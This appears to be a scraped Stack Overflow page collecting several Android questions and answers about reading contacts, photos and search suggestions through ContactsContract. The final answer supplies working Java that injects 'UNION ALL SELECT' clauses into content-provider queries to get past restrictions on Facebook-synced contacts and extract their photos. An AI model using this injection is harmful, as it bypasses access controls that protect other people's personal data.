I am trying to figure out how to get the photo for a merged contact, to display in a QuickContactBadge. I've been searching and googling, and all the things I can find online say this is not possible if the contact's default image comes from a Facebook sync. However all the examples I find also reference Froyo or Gingerbread.
Is there still no way to do this in the ICS/JB age?
This answer seemed the most promising, but the comments seem to say it is hit or miss.
None of the things I've found online have worked for me.
Here is the code I currently have:
public static Uri getContactPhotoUri(long ContactId) {
Uri person = ContentUris.withAppendedId(Contacts.CONTENT_URI, ContactId);
Uri photo = Uri.withAppendedPath(person, Contacts.Photo.CONTENT_DIRECTORY);
Cursor cur = App.ContentResolver().query(
Data.CONTENT_URI,
new String[] { Data._ID },
ContactsContract.Data.CONTACT_ID
+ "="
+ ContactId
+ " AND "
+ Data.MIMETYPE
+ "='"
+ Photo.CONTENT_ITEM_TYPE
+ "'", null, Data.IS_PRIMARY + " DESC");
Uri rv = null;
rv = (cur == null || !cur.moveToFirst())? null: photo;
if (cur != null) cur.close();
return rv;
}
It shows the image properly for contacts where the image comes from the google contact.
The image does not show properly for contacts where the primary image comes from Facebook.
Is there REALLY, still, no reliable way to get the default image for a contact regardless of where the image comes from?
EDIT (01/18/2013): I've also tried querying the PHOTO_URI and PHOTO_THUMBNAIL_URI as follows, with the same results.
public static String[] GroupMembersProjection = new String[] {
Contacts._ID,
Contacts.LOOKUP_KEY,
Contacts.DISPLAY_NAME_PRIMARY,
Contacts.PHOTO_THUMBNAIL_URI
};
public static Cursor getGroupMembers(int groupid, String sort) {
String ord;
if (sort.equals("A")) { ord = Contacts.DISPLAY_NAME_PRIMARY; }
else { ord = Contacts.TIMES_CONTACTED + " DESC"; /* SORT = "U"; DEFAULT */ }
ContentResolver cr = App.ContentResolver();
Cursor contacts = cr.query(Data.CONTENT_URI,
GroupMembersProjection,
GroupMembership.GROUP_ROW_ID + "=" + groupid, null, ord);
return contacts;
}
Additionally, I tried querying PHOTO_ID instead of the PHOTO_URI fields, and then using the following code to get the URI manually and use that for the image, but this also yields the same results, showing google images, but not Facebook ones.
Uri puri = ContentUris.withAppendedId(ContactsContract.Data.CONTENT_URI, photoid);
Related
I am trying to get first name and last name in contact book by phone number.
Here is my code:
Uri contactUri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI, Uri.encode(phoneNumber));
Cursor cursor = cResolver.query(uri, null, null, null, null);
if(cursor != null && cursor.moveToFirst()) {
int idColumnIndex = cursor.getColumnIndex(ContactsContract.Contacts._ID);
int firstNameIndex = cursor.getColumnIndex(ContactsContract.CommonDataKinds.StructuredName.GIVEN_NAME);
int lastNameIndex = cursor.getColumnIndex(ContactsContract.CommonDataKinds.StructuredName.FAMILY_NAME);
while (!cursor.isAfterLast()) {
long id = cursor.getLong(idColumnIndex);
contact = new MyContact();
contact.setId(id);
contact.setFirstName(cursor.getString(firstNameIndex));
contact.setLastName(cursor.getString(lastNameIndex));
}
cursor.close();
}
But firstNameIndex and lastNameIndex is always -1. What I am doing wrong ? Please help me.
PhoneLookup is a nice and quick way to get contact data by a phone number, but it returns a cursor limited to the columns mentioned in the docs.
You can see there's DISPLAY_NAME you can access, but not GIVEN_NAME, FAMILY_NAME.
GIVEN_NAME & FAMILY_NAME are fields stored in the Data table, which means you need to query that table separately to get to those fields.
So, you can just add another query using the contact ID you got from PhoneLookup (note that for each looked up phone there might be multiple contacts returned).
Here's a sample method to get first/last names from contact ID:
private void addNames(MyContact contact, long contactId) {
String[] projection = new String[] {StructuredName.GIVEN_NAME, StructuredName.FAMILY_NAME};
// filter to just StructuredName rows from the data table for the given contact
String selection = Data.CONTACT_ID + "=" + contactID + " AND " + Data.MIMETYPE + "=" + StructuredName.CONTENT_ITEM_TYPE;
Cursor cursor = getContentResolver().query(Data.CONTENT_URI, projection, selection, null, null);
if (cursor.next()) {
contact.setFirstName(cursor.getString(0));
contact.setLastName(cursor.getString(1));
}
cursor.close();
}
I'm implementing my own SearchRecentSuggestionsProvider and everything's working except one thing: I can't get the device search to display icons for the results. I'd like to display images from my application's data folder (located at /{sdcard}/Android/data/package_name/files/)
According to the documentation, it's achievable by using SearchManager.SUGGEST_COLUMN_ICON_1, and it apparently supports a number of schemes, including ContentResolver.SCHEME_FILE, which is file. Here's a quote from the official docs:
Column name for suggestions cursor. Optional. If your cursor includes this column, then all suggestions will be provided in a format that includes space for two small icons, one at the left and one at the right of each suggestion. The data in the column must be a resource ID of a drawable, or a URI in one of the following formats:
content (SCHEME_CONTENT)
android.resource (SCHEME_ANDROID_RESOURCE)
file (SCHEME_FILE)
I've tried a number of obvious things, including manual creation of the file URI and automated creation using Uri.Builder(). None of this worked.
I also found someone else asking about the same thing on Google Groups, and it's sadly unanswered: https://groups.google.com/forum/#!topic/android-developers/MJj7GIaONjc
Does anyone have any experience in getting the device search to display local images from the device?
UPDATE (December 15):
I've just tried using the ContentProvider with a SearchView as the searchable info, and it works exactly as expected - including the cover art images. Still, global search doesn't show it...
I had a similar issue and could not make the other solutions work. I finally substituted the cursor with a new one containing the data I needed in query().
public class RecentQueriesProvider extends SearchRecentSuggestionsProvider {
public final static String AUTHORITY = "com.package.RecentQueriesProvider";
public final static int MODE = DATABASE_MODE_QUERIES;
public RecentQueriesProvider() {
setupSuggestions(AUTHORITY, MODE);
}
// We override query() to replace the history icon in the recent searches suggestions. We create a new cursor
#Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
Cursor superCursor = super.query(uri, projection, selection, selectionArgs, sortOrder);
Uri iconUri = Uri.parse("android.resource://" + getContext().getPackageName() + "/drawable/ic_action_time");
MatrixCursor newCursor = new MatrixCursor(superCursor.getColumnNames());
superCursor.moveToFirst();
while (superCursor.moveToNext()){
newCursor.addRow(new Object[]{
superCursor.getInt(superCursor.getColumnIndex(SearchManager.SUGGEST_COLUMN_FORMAT)),
iconUri,
superCursor.getString(superCursor.getColumnIndex(SearchManager.SUGGEST_COLUMN_TEXT_1)),
superCursor.getString(superCursor.getColumnIndex("suggest_intent_query")),
superCursor.getInt(superCursor.getColumnIndex("_id"))
});
}
return newCursor;
}
}
One way is to copy source code from android.content.SearchRecentSuggestionsProvider, place it in your class that extends ContentProvider, and customize setupSuggestions(String, int). Specifically, you would be changing this:
Uri uriFile = Uri.fromFile(new File("path/to/file"));
mSuggestionProjection = new String [] {
"0 AS " + SearchManager.SUGGEST_COLUMN_FORMAT,
// Here, you would return a file uri: 'uriFile'
"'android.resource://system/"
+ com.android.internal.R.drawable.ic_menu_recent_history + "' AS "
+ SearchManager.SUGGEST_COLUMN_ICON_1,
"display1 AS " + SearchManager.SUGGEST_COLUMN_TEXT_1,
"query AS " + SearchManager.SUGGEST_COLUMN_QUERY,
"_id"
};
I prefer the following though. Extend SearchRecentSuggestionsProvider and override the query(...) method. Here, intercept SearchManager.SUGGEST_URI_PATH_QUERY and return a cursor.
public class SearchSuggestionProvider extends SearchRecentSuggestionsProvider {
private UriMatcher matcher;
private static final int URI_MATCH_SUGGEST = 1;
public SearchSuggestionProvider() {
super();
matcher = new UriMatcher(UriMatcher.NO_MATCH);
// Add uri to return URI_MATCH_SUGGEST
matcher.addURI(SearchSuggestionProvider.class.getName(),
SearchManager.SUGGEST_URI_PATH_QUERY, URI_MATCH_SUGGEST);
setupSuggestions(SearchSuggestionProvider.class.getName(),
DATABASE_MODE_QUERIES);
}
#Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
// special case for actual suggestions (from search manager)
if (matcher.match(uri) == URI_MATCH_SUGGEST) {
// File to use
File f = new File("/path/to/file");
Uri uriFile = Uri.fromFile(f);
final String[] PROJECTION = new String[] {
"_id",
"display1 AS " + SearchManager.SUGGEST_COLUMN_TEXT_1,
"query AS " + SearchManager.SUGGEST_COLUMN_QUERY,
"'" + uriFile + "'" + " AS " + SearchManager.SUGGEST_COLUMN_ICON_1,
};
final Uri URI = Uri.parse("content://" +
SearchSuggestionProvider.class.getName() + "/suggestions");
// return cursor
return getContext().getContentResolver().query(
URI,
PROJECTION,
"display1 LIKE ?",
new String[] {selectionArgs[0] + "%"},
"date DESC");
}
// Let super method handle the query if the check fails
return super.query(uri, projection, selection, selectionArgs, sortOrder);
}
}
my app creates new contacts with ContentProviderOperation. The problem is, I need a reference to the new contact because I need some information of it to display it in a listview and go with intent into the contact app to the contact.
The best thing would be the ID, but I´ve read that it might change during operations on the database, which won´t be helpful to me.
Now I thought, the Uri might be the best thing, because I could later retrieve the contactID or lookup key.
How do I get the Uri directly after calling applyBatch() ?
EDIT:
Here is a solution, but not really a good one.
He is putting a randomly generated token into each contact, then he makes a new query with it.
I want neither put some extra data into the contacts, nor starting a second query. But if there is no other possibility I´ll do it that way.
simply call
private String retrieveContactId(String phoneNo) {
try {
Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI, Uri.encode(phoneNo));
String[] projection = new String[] { ContactsContract.PhoneLookup._ID, ContactsContract.PhoneLookup.DISPLAY_NAME };
String selection = null;
String[] selectionArgs = null;
String sortOrder = ContactsContract.PhoneLookup.DISPLAY_NAME + " COLLATE LOCALIZED ASC";
ContentResolver cr = getApplicationContext().getApplicationContext().getContentResolver();
String contactId = null;
if (cr != null) {
Cursor resultCur = cr.query(uri, projection, selection, selectionArgs, sortOrder);
if (resultCur != null) {
while (resultCur.moveToNext()) {
contactId = resultCur.getString(resultCur.getColumnIndex(ContactsContract.PhoneLookup._ID));
Log.e("Info Incoming", "Contact Id : " + contactId);
return contactId;
}
resultCur.close();
}
}
} catch (Exception sfg) {
Log.e("Error", "Error in loadContactRecord : " + sfg.toString());
}
return null;
}
and for the uri
Uri contactUri = Contacts.getLookupUri(
Integer.valueOf(rawContactId), clookup);
Here is the code I am using to write a contact PHOTO. It works. If I am quick enough after writing it to the address book and go back and read the contact, I get my picture back.
But, after 10 seconds or so, in the debugger you can see an alarm fire and a thread startup and after that goes away if I go read the same contact back, the PHOTO was scaled down from roughly 400x400 down to 96x96.
It looks like there is a trigger firing on the backend to scale the PHOTO after it is written. Does anyone know a way to get around this or control it? Or is there a better way of writing a PHOTO that will not cause this scaling trigger?
I am doing this in Android 2.1 on Droid.
In trying to determine if I was writing the PHOTO correctly, I saw that there was a
ContactsContract.ContactsColumns interface with PHOTO_URI and PHOTO_THUMB_URI members, but I cannot find any way to get at it as the interface is protected and I cannot find any of the joins returning them. Does anyone how to use them?
Uri uri = ContactsContract.RawContacts.CONTENT_URI;
String[] projection = new String[] { BaseColumns._ID };
String selection = ContactsContract.RawContacts.CONTACT_ID + "=?";
String[] arguments = new String[] { "" + lContactID };
Cursor cursor = resolver.query(uri, projection, selection, arguments, null);
if (cursor != null && cursor.getCount() > 0)
{
while (cursor.moveToNext())
{
long rawContactId = cursor.getLong(0);
int row = -1;
Uri uri = ContactsContract.Data.CONTENT_URI;
String[] projection = new String[] { ContactsContract.Data._ID };
String selection = ContactsContract.Data.RAW_CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE + "='" + ContactsContract.CommonDataKinds.Photo.CONTENT_ITEM_TYPE + "'";
String[] params = new String[] { "" + rawContactId };
Cursor cursor = resolver.query(uri, projection, selection, params, null);
if (cursor != null && cursor.getCount() > 0)
{
if (cursor.moveToFirst())
{
row = cursor.getInt(0);
}
cursor.close();
}
ContentValues values = new ContentValues();
values.put(ContactsContract.Data.RAW_CONTACT_ID, rawContactId);
values.put(ContactsContract.Data.IS_SUPER_PRIMARY, 1);
values.put(ContactsContract.CommonDataKinds.Photo.PHOTO, pic);
values.put(ContactsContract.Data.MIMETYPE,ContactsContract.CommonDataKinds.Photo.CONTENT_ITEM_TYPE);
if (row >= 0)
{
resolver.update(ContactsContract.Data.CONTENT_URI, values, ContactsContract.Data._ID + " = " + photoRow, null);
}
else
{
resolver.insert(ContactsContract.Data.CONTENT_URI, values);
}
}
cursor.close();
cursor = null;
}
It turns out that it is the gmail.com sync adapter that is scaling the photo.
if I turn off
Settings->Accounts&Syncs->gmail.com->“Sync Contacts” the problem goes away.
Why does the sync adapter need to do this on a PHOTO it did not put there?
If that were not enough, it is not even very consistent with how it does it:
If the gmail.com contact does not previously have a picture on the server, when I write the PHOTO to the address book it is not scaled. The picture shows up on the server.
However, if the gmail.com contact previously had a picture on the server, when I write the contact to the address book the picture I just wrote is scaled to 96x96. Once again the picture shows up on the server.
So, either the sync adapter has a bug with processing the original picture, or has a bug with the update of a picture, because it does not always scale the photo. Either way, it should not be scaling the picture :(
I'm trying to build a contacts-managing application. On my phone I have contacts from a couple of accounts including Facebook and HTC Facebook. For some reason I cannot retrieve these contacts from the RawContacts table of ContactsContract:
managedQuery(ContactsContract.RawContacts.CONTENT_URI, new String[] {
ContactsContract.RawContacts._ID,
ContactsContract.RawContacts.CONTACT_ID,
ContactsContract.RawContacts.ACCOUNT_NAME,
ContactsContract.RawContacts.ACCOUNT_TYPE,
}, ContactsContract.RawContacts.ACCOUNT_TYPE + " = 'com.facebook.auth.login'", null, null)
This query returns no results. If I repace the account type with com.htc.socialnetwork.facebook, I still get no results. There are many Facebook contacts on my phone; how to retrieve them?
I think I found the answer here: How to get a contact's facebook id or url from native contacts / content resolver?
Seems that access to Facebook contacts is restricted.
Yes, the Facebook contacts are secured, but can be hijacked with a little sneaky SQLite Injection. NO- I am not going to post here on this page, but is there any reason you do not just use Facebook authentication and get the contacts THAT way? The Facebook contacts don't really have anything useful in them anyway, and it is just more secure and more likely to work ALL the
There is definitely no way to do this in a standard way. So, we must use an SQLi injection (as roger commented) in order to be able to hack the contacts database and get the Facebook avatars. The following code works on most Motorolas, which use Motoblur, on Android 2.2 or higher:
public static Bitmap loadFacebookAvatar(Context context, long personId) {
String[] rawProjection = {ContactsContract.RawContacts._ID};
String contactIdAssertion = ContactsContract.RawContacts.CONTACT_ID + " = " + personId;
String rawWhere = new StringBuilder()
.append(contactIdAssertion).append(") UNION ALL SELECT ")
.append(ContactsContract.RawContacts._ID).append(" FROM view_raw_contacts WHERE (")
.append(contactIdAssertion).toString();
Cursor query = context.getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI,
rawProjection,
rawWhere, null, null);
if (query != null && query.moveToFirst()) {
do {
long id = query.getLong(query.getColumnIndex(ContactsContract.RawContacts._ID));
String[] projection = {ContactsContract.CommonDataKinds.Photo.PHOTO};
Uri uri = ContactsContract.Data.CONTENT_URI;
String mimeTypeAssertion = ContactsContract.Data.MIMETYPE + "='" + ContactsContract.CommonDataKinds.Photo.CONTENT_ITEM_TYPE + "'";
String photoAssertion = ContactsContract.CommonDataKinds.Photo.PHOTO + " IS NOT NULL";
String rawContactIdAssertion = ContactsContract.CommonDataKinds.Photo.RAW_CONTACT_ID + " = " + id;
String where = new StringBuilder().append(mimeTypeAssertion).append(" AND ")
.append(photoAssertion).append(" AND ").append(rawContactIdAssertion)
.append(") UNION ALL SELECT ").append(ContactsContract.CommonDataKinds.Photo.PHOTO)
.append(" FROM view_data WHERE (").append(photoAssertion).append(" AND ")
.append(rawContactIdAssertion).toString();
Cursor photoQuery = context.getContentResolver().query(uri, projection, where, null, null);
if (photoQuery != null && photoQuery.moveToFirst()) {
do {
byte[] photoData = photoQuery.getBlob(photoQuery.getColumnIndex(ContactsContract.CommonDataKinds.Photo.PHOTO));
if (photoData != null) {
return BitmapFactory.decodeByteArray(photoData, 0, photoData.length, null);
}
} while (photoQuery.moveToNext());
}
} while (query.moveToNext());
}
return null;
}
For other handsets you must get the contacts database and analyze it in order to determine how to apply the SQL Injection, which requires a rooted phone.